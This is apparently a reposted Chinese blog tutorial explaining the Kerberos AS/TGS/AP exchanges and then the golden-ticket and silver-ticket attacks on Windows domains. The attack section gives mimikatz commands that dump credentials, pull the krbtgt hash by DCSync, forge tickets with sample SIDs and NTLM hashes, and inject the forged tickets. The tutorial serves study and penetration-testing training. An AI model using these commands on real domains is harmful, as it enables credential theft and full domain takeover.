标签：name 修改 主机名 用户名 exe 它的 img 流程 字符串
Kerberos是一种认证机制。目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务：
保护服务器防止错误的用户使用，同时保护它的用户使用正确的服务器，即支持双向验证。kerberos最初由MIT
麻省理工开发，微软从Windows 2000开始支持Kerberos认证机制，将kerberos作为域环境下的主要身份认证
机制，理解kerberos是域渗透的基础。
kerberos机制中主要包含三个角色：Client、Server、KDC(Key Distribution Center)密钥分发中心。
Client代表用户，用户有自己的密码，Server上运行的服务也有自己的密码，KDC是受信任的三方认证中心，
它拥有用户和服务的密码信息。
KDC服务默认会安装在域控中，Client想要访问Server的服务（xxx service），前提是通过KDC认证，再
由KDC发放的票据决定Client是否有权限访问Server的服务
铺垫小知识：
KDC(Key Distribution center)： 密钥分发中心，在域环境中，KDC服务默认会安装在域控中。
AS(Authentication Service)： 认证服务，验证client的credential(身份认证信息)，发放TGT。
TGT(Ticket Granting ticket)： 票据授权票据，由KDC的AS发放，客户端获取到该票据后，以后申请其他应用的服务票据(ST)时，就不需要向KDC的AS提交身份认证信息(credential)，TGT具有一定的有效期。由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信 息
TGS(Ticket Granting Service)： 票据授权服务，验证TGT，发放ST。
ST(Service Ticket)： 服务票据，由KDC的TGS发放，是客户端应用程序访问Server某个服务的凭证，Server端验证通过则完成Client与Server端信任关系的建立。
Session key: 用来加密client和TGS之间传输的数据。
Server session key: 用来加密client和server之间传输的数据。
首先Client想要访问Server的某个服务，就需要通过KDC的认证，获取到服务票据（ST），
服务会验证服务票据（ST）来判断Client是否通过了KDC认证。为了避免Client每次
访问Server的服务都要向KDC认证(输入密码)，KDC设计时分成了两个部分，一个是AS，另一个是TGS;
AS接收Client的认证信息，认证通过后给Client发放一个可重复使用的票据TGT，后续Client使用这个TGT向TGS请求ST即可
这是一个简单的认证流程
The Authentication Service Exchange（认证服务器）：
Client 与 AS 的交互AS_REQ?AS_REP
Ticket-Granting Service (TGS) Exchange（票据授予服务器）：
Client 与 TGS 的交互 TGS_REQ?TGS_REP
The Client/Server Authentication Exchange（pc和要访问的服务）：
Client 与 Server 的交互 AP_REQ?AP_REP
用户登录阶段，通常由用户(admin)输入[用户名][密码]信息，在客户端侧，用户输入的密码信息被一个单向 Hash 函数生成 Client 密钥，即 admin 的 NTLM Hash：
Pre-authentication data: 就是用client对应的master key加密了一个timestamp。
Client info: client用户信息
Server info: 这里并不是Client真正要访问的Server的名称，实际上是KDC的Ticket Granting Service的Server Name。
AS_REQ（请求）：
KDC端收到该请求后，Authentication service用client info部分信息，在AD（account database）中查询该client name对应的master key，并对pre-authentication data数据进行解密，如果可以提取出一个合法的时间戳，那就说明该用户是合法的，验证通过，并回复KRB_AS_REP给client。
AS_REP（返回）
AS 收到用户认证请求后，AS 根据请求中的 用户名 AA 信息，从数据库中查找用户名是否存在。如果 用户名 AA 存在，则从 KDC 中可以获取 用户 AA 的密码，使用单向函数为该密码生成一个 Client 密钥（即NTLM Hash）。AS 生成随机字符串 Client/TGS Session Key，使用 Client 密钥(用户 AA 的密码 NTLM Hash)对 Client/TGS Session Key 加密得到 sessionkey_as；
再使用 TGS 密钥(krbtgt 用户的 NTLM Hash)对 Client/TGS Session Key 、 Client Info 和 Timestamp 加密,得到 TGT（TGT票据）。
将 sessionkey_as 和 TGT 一起返回给 Client。
Client 收到 AS 的响应消息后，利用自身的 Client 密钥（AA 的 NTLM Hash）对sessionkey_as 解密，这样就获取到 Client/TGS Session Key。
在 KDC 中存储了域中所有用户的密码 hash，当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密，解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 hash 加密的 sessionkey-as 和 TGT
总体来说，KRB_AS_REP分为两部分：
1、 用client master key对session key进行加密后的值。Session key是KDC随机生成的UUID，用于client和TGS服务之间的数据加密、认证。
2、 用KDC master key值对TGT进行加密。这部分client解不了。由此处也可以看出，TGT包括三个部分，分别是session key、client name、end time。
（当响应信息里面有KDC Hash，即可伪造黄金票据）
当client端接收到AS_REP时，client使用client master key对KRB_AS_REP的第一部分信息进行解密，得到session key，并再次拼装出TGS_REQ请求体，向KDC的TGS发出请求
请求结构如下，TGS_REQ请求体包括：Session key(client info+时间戳)、TGT、client info、server info；
其中，server info就是该client真正要访问的server，步骤一AS_REQ中的不一样；】
TGS-REQ（请求）：
当TGS服务收到到client请求体KRB_TGS_REQ时，因为TGS端并没有session key，只能先利用TGS的master key去解TGT部分内容，得到session key，再去解Session key(client info+时间戳)部分，从而验证该用户是否是AS颁发给该client的。验证通过后，给client回复KRB_TGS_REP给client
TGS-REP（返回）：
TGS 收到请求后，检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在，TGS 使用 TGS 密钥(krbtgt 的 NTLM Hash)解密 TGT，得到 Client/TGS Session Key、timestamp、Client info；同时使用从 TGT 中解密得到的 Client/TGS Session Key去解密 Authenticator2，得到 Client info 和 timestamp。比对 Authenticator2 和TGT 的解密内容以验证通过。
?TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID?比较时间戳（误差范围在2分钟）?通过生命周期字段检查 TGT 是否过期?检查 Authenticator2 已经不再 TGS 的缓存中?若原始请求中的网络地址不为 NULL，比较 TGT 中的 IP 和请求的 IP
验证成功后，随机生成 Client 所请求服务的会话密钥 Client/Server Session Key；
使用 Server 密钥（即服务器计算机的NTLM Hash）对 Client/Server Session Key、Client Info（包含 Client ID）、TimeStamp 加密得到 Client-To-Server Ticket（也称为 ST 票据）；
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。
Client 向 SS(Service Server)发送服务请求
AP-REQ：
Client 收到 Client-To-Server Ticket、sessionkey_tgs 之后，使用Client/TGS Session Key 对 sessionkey_tgs 解密得到 Client/Server Session Key,然后使用 Client/Server Session Key 对 Client Info 和 timestamp 加密得到Authenticator3；将 Authenticator3 和 Client-To-Server Ticket 发送给所请求服务的服务器(Service Server)。
Service Server 响应 Client
Service Server 收到客户端的服务访问请求之后，利用 Server 密钥(Server 的 ntlm Hash)对 Client-To-Server Ticket 解密，提取出 Client/Server SessionKey、Client ID 等信息。Service Server 使用 Client/Server SessionKey 对 Authenticator3 解密得到 Client ID 和 TimeStamp。
Service Server 发送最后的验证消息——用 Client/Server SessionKey 加密的 Timestamp 和 Service ID 数据包给 Client。
Client 收到之后，使用缓存的 Client/Server SessionKey 解密提取 Timestamp 信息，然后确认该信息与 Client 发送的 Authenticator3 中的 Timestamp 信息是否一致。验证通过后，在定义的通讯周期内，Client 可以使用票据请求 Service。
第一步（返回TGT）：
AS 的响应消息中有一条是属于 Client 的，有一条是 TGS 的。?TGT 的到期时间为 8 小时，如果超过了 8 小时，还需要重新申请 TGT，不能之间进入下一步获取 Ticket。
?KDC 返回的 TGT 客户端是无法解密的，因为它没有 KDC Hash，如果有，我们就可以伪造黄金票据
第二步：
认证通过后TGS生成使用Logon Session Key（SKDC-Client）加密过用于Client和Server之间通信的Session Key（SServer-Client），Server的Master Key进行加密的ST(Service Ticket)
(1).经过 Logon session key加密的Client和Server之间的Session Key
(2).经过Server的Master Key进行加密的ST(Service Ticket)。
Ticket大体包含以下一些内容：
Session Key（SServer-Client）
Domain name\Client。
Ticket的到期时间。
Client 收到TGS的响应，使用 Logon session key，解密第一部分后获得 Session Key （注意区分 Logon Session Key 与 Session Key 分别是什么步骤获得的，及其的区别）。有了 Session Key 和 ST(Service Ticket)， Client 就可以直接和 Server 进行交互，而无须在通过 KDC 作中间人了。
第三步：
白银票据不与KDC交互，伪造Ticket直接与 Service server进行交互，看下第三步Client和Server认证中的请求
Server接收到客户端的数据包后，使用自己的密码Hash解密 Ticket 得出 session key，再使用 session key
解密Authenticator和timestamp即可通过验证，所以我们只需要知道 server 用户的hash可以伪造出一个 ticket，这就是白银票据
这里介绍域内常用的两种攻击方式：黄金票据Golden ticket、白银票据SILVER TICKET
原理：
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,
而Logon Session Key并不会保存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash（也就是KDC hash），就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,
不用验证账户和密码,所以也不担心域管密码修改。
如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
特点：不需要与AS进行交互，需要用户krbtgt的Hash
黄金票据的条件要求：
1.域名称
2.域的SID 值
3.域的KRBTGT账户NTLM密码哈希
第一步：
先使用 mimikatz抓去krbtgt的hash
lsadump::dcsync /user:krbtgt
提取出里面的sid和NTLM hash
SID: S-1-5-21-4098506371-3349406080-1400905760
NTLM Hash: 9f7afad7acc9f72b7e338b908795b7da
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]
kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.kiribi
/ticke参数是要存储的名字，方便后面导入
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi
这时候创建成功了，会保存到桌面上
最后使用 kerberos::ptt administrator.kiribi 去加载票据
也可以使用 klist 去查看是否加载成功
没有成功是这样（因为我忘记截成功的图了）
原理：
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
特点
1.不需要与KDC进行交互 2.需要server的NTLM hash
第一步：上传mimikatz到桌面
执行命令 mimikatz64.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
当然，也可以分依次执行
银票和金票差不多，需要sid和hash
使用方法：
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择，因为我们没有TGT去不断申请ticket，所以只能针对某一些服务来进行伪造
构造好payload
kerberos::golden /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /target:DC.zkaq.cn /service:cifs /rc4:9f7afad7acc9f72b7e338b908795b7da /user:test /ptt
标签：name 修改 主机名 用户名 exe 它的 img 流程 字符串
原文地址：https://www.cnblogs.com/0x7e/p/13862453.html
